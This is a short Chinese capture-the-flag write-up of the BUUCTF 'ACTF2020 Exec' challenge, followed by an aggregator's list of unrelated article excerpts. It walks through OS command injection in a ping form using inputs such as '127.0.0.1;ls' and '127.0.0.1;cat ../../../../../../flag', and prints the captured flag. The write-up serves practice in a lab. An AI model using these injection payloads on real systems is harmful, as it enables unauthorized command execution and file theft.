BUUCTF[ACTF2020 新生赛]Exec 1题解

article/2025/6/29 12:58:21

BUUCTF[ACTF2020 新生赛]Exec 1题解

  • 分析
  • 解题过程
  • 总结:

分析

先分析题目:exc()是一个内部调用shell命令的函数,同样的函数还有system(),
创建靶机,打开网址,是一个和PING相关的网页,查看源代码,没有提示,ping 127.0.0.1,可以ping通,说明正常执行了命令,根据题目的提示和实验,初步判断是命令注入漏洞
在这里插入图片描述

解题过程

  1. 尝试输入127.0.0.1;ls
    ls
    说明ls正常执行
  2. 输入127.0.0.1;ls ../
    在这里插入图片描述

正确执行,说明没有进行过滤。
3. 输入127.0.0.1;ls ../../../../../../
在这里插入图片描述

  1. 输入127.0.0.1;cat ../../../../../../flag
    在这里插入图片描述
    flag{bda3a63d-74e3-4e9f-8dab-c5c6ea0c1bd9}

总结:

这道题目的提示比较明显,针对文件注入没有进行任何过滤,还是非常简单的。


http://www.hkcw.cn/article/iNZNvEbTaR.shtml

相关文章

NX869NX874美光固态颗粒NX877NX883

NX869NX874美光固态颗粒NX877NX883 美光固态硬盘颗粒技术解析与市场展望 近年来,固态硬盘(SSD)市场呈现出蓬勃发展的态势,而作为核心组件的存储颗粒,其技术进展与市场动态自然吸引了众多关注。在众多品牌中&#xff…

CodeTop100 Day20

58、翻转字符串中的数字 class Solution {public String reverseWords(String s) {s s.trim(); int j s.length() - 1, i j;StringBuilder res new StringBuilder();while (i > 0) {while (i > 0 && s.charAt(i) ! ) i--…

重温经典算法——快速排序

版权声明 本文原创作者:谷哥的小弟作者博客地址:http://blog.csdn.net/lfdfhl 基本原理 快速排序基于分治思想,通过选取基准元素将数组划分为两个子数组(小于基准和大于基准),递归排序子数组。平均时间复…

【机器学习】集成学习与梯度提升决策树

目录 一、引言 二、自举聚合与随机森林 三、集成学习器 四、提升算法 五、Python代码实现集成学习与梯度提升决策树的实验 六、总结 一、引言 在机器学习的广阔领域中,集成学习(Ensemble Learning)犹如一座闪耀的明星,它通过组合多个基本学习器的力量,创造出…

Python量化交易:K线形态识别与技术分析可视化

引言 在量化交易领域,K线形态识别是一种重要的技术分析方法,可以帮助投资者预测市场趋势并制定交易策略。本文将介绍如何使用Python实现K线形态的自动识别与可视化分析,无需依赖复杂的第三方库如TA-Lib,完全使用纯Python实现。通…

前端自动化测试利器:Playwright 全面介绍

目录 🧪 前端自动化测试利器:Playwright 全面介绍 ✨ 为什么选择 Playwright? 1. 跨浏览器支持 2. 多语言支持 3. 自动等待机制 4. 强大的页面交互能力 🔧 Playwright 快速上手 📸 更强的调试体验 &#x1f9…

华为云Flexus+DeepSeek征文|华为云 Dify 打造智慧水果分析助手,实现“知识库 + 大模型”精准赋能

前言 本文聚焦基于华为云平台部署的智慧水果分析助手 AI Agent,通过 Dify 平台集成 Embedding、Rerank 及 DeepSeek 模型,构建工作流,实现提问内容驱动的 “知识库 大模型” 与 “联网搜索 大模型” 智能切换。 ECS控制台:https…

【算法设计与分析】实验——改写二分搜索算法,众数问题(算法分析:主要算法思路),有重复元素的排列问题,整数因子分解问题(算法实现:过程,分析,小结)

说明:博主是大学生,有一门课是算法设计与分析,这是博主记录课程实验报告的内容,题目是老师给的,其他内容和代码均为原创,可以参考学习,转载和搬运需评论吱声并注明出处哦。 要求:2.…

MCP协议学习

MCP协议出现的背景 MCP(Model Context Protocol,模型上下文协议)由Anthropic公司于2024年11月推出,旨在解决大语言模型(LLM)与外部数据源、工具和服务之间的标准化交互问题。例如某金融科技公司需开发一款…

【笔记】Windows 部署 Suna 开源项目完整流程记录

#工作记录 因篇幅有限,所有涉及处理步骤的详细处理办法请参考文末资料。 Microsoft Windows [Version 10.0.27868.1000] (c) Microsoft Corporation. All rights reserved.(suna-py3.12) F:\PythonProjects\suna>python setup.py --admin███████╗██╗…

SQL Views(视图)

目录 Views Declaring Views Example: View Definition Example: Accessing a View Advantages of Views Triggers on Views Interpreting a View Insertion(视图插入操作的解释) The Trigger Views A view is a relation defined in terms of…

MySQL指令个人笔记

MySQL学习,SQL语言笔记 一、MySQL 1.1 启动、停止 启动 net start mysql83停止 net stop mysql831.2 连接、断开 连接 mysql -h localhost -P 3306 -u root -p断开 exit或者ctrlc 二、DDL 2.1 库管理 2.1.1 直接创建库 使用默认字符集和排序方式&#xf…

【redis实战篇】第七天

摘要: 本文介绍了黑马点评中点赞、关注和推送功能的实现方案。点赞功能采用Redis的ZSET结构存储用户点赞数据,实现点赞状态查询、热门博客排行和点赞用户展示。关注功能通过关系表和Redis集合实现用户关注关系管理,包含共同关注查询。推送功能…

[yolov11改进系列]基于yolov11引入特征融合注意网络FFA-Net的python源码+训练源码

【FFA-Net介绍】 北大和北航联合提出的FFA-net: Feature Fusion Attention Network for Single Image Dehazing图像增强去雾网络,该网络的主要思想是利用特征融合注意力网络(Feature Fusion Attention Network)直接恢复无雾图像,…

Baklib领跑三强:知识管理高效优选

Baklib技术架构解析 Baklib的技术底座基于全链路数字化管理理念,通过知识中台的三层架构实现企业级知识资产的深度整合。核心层采用分布式存储引擎与多模态数据处理技术,支持文档、音视频、代码等20格式的智能化解析,确保非结构化数据的精准…

零基础学习计算机网络编程----socket实现UDP协议

本章将会详细的介绍如何使用 socket 实现 UDP 协议的传送数据。有了前面基础知识的铺垫。对于本章的理解将会变得简单。将会从基础的 Serve 的初始化,进阶到 Client 的初始化,以及 run。最后实现一个简陋的小型的网络聊天室。 目录 1.UdpSever.h 1.1 构造…

深入了解linux系统—— 进程间通信之管道

前言 本篇博客所涉及到的代码一同步到本人gitee:testfifo 迟来的grown/linux - 码云 - 开源中国 一、进程间通信 什么是进程间通信 在之前的学习中,我们了解到了进程具有独立性,就算是父子进程,在修改数据时也会进行写时拷贝&…

电脑使用VPN后直接关机,再次打开后无法上网的问题

出现这种问题,都是在使用VPN后,以前自己都是通过杀毒软件的网络修复工具进行解决的。 但现在有了一个更简单的方法: 打开设置,找到网络中的代理,然后关闭即可。

【Linux】线程控制

📝前言: 这篇文章我们来讲讲Linux——线程控制 🎬个人简介:努力学习ing 📋个人专栏:Linux 🎀CSDN主页 愚润求学 🌄其他专栏:C学习笔记,C语言入门基础&#xf…

CppCon 2014 学习:Hardening Your Code

“Hardening Your Code” 是指增强代码的健壮性、安全性、可维护性和可测试性,确保在各种边界条件、错误场景甚至恶意输入下,代码依然稳定运行,不崩溃、不泄露资源,也不产生未定义行为。 什么是“Hardening Your Code”&#xff…